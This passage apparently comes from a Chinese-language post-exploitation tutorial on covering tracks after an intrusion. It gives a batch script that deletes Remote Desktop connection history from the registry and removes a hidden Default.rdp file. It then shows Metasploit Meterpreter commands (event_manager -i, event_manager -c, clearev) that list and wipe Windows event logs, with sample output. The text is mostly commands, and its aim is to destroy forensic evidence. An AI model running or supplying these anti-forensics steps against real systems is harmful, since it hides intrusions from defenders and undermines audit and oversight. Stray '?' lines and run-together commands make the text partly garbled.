@echo offreg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /freg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /freg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"cd %userprofile%\documents\attrib Default.rdp -s -hdel Default.rdp
05、Metasploit 痕跡清除
(1)查看事件日志
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
meterpreter > run event_manager -i [*] Retriving Event Log Configuration
Event Logs on System====================
Name Retention Maximum Size Records ---- --------- ------------ ------- Application Disabled 20971520K 2149 HardwareEvents Disabled 20971520K 0 Internet Explorer Disabled K 0 Key Management Service Disabled 20971520K 0 Security Disabled 20971520K 1726 System Disabled 20971520K 3555 Windows PowerShell Disabled 15728640K 138
(2)清除事件日志(包括六種日志類型)
?
meterpreter > run event_manager -c
(3)另外,也可以輸入clearv命令清除目標系統的事件日志(僅包含三種日志類型)
?
?
?
?
meterpreter > clearev [*] Wiping 4 records from Application...[*] Wiping 8 records from System...[*] Wiping 7 records from Security...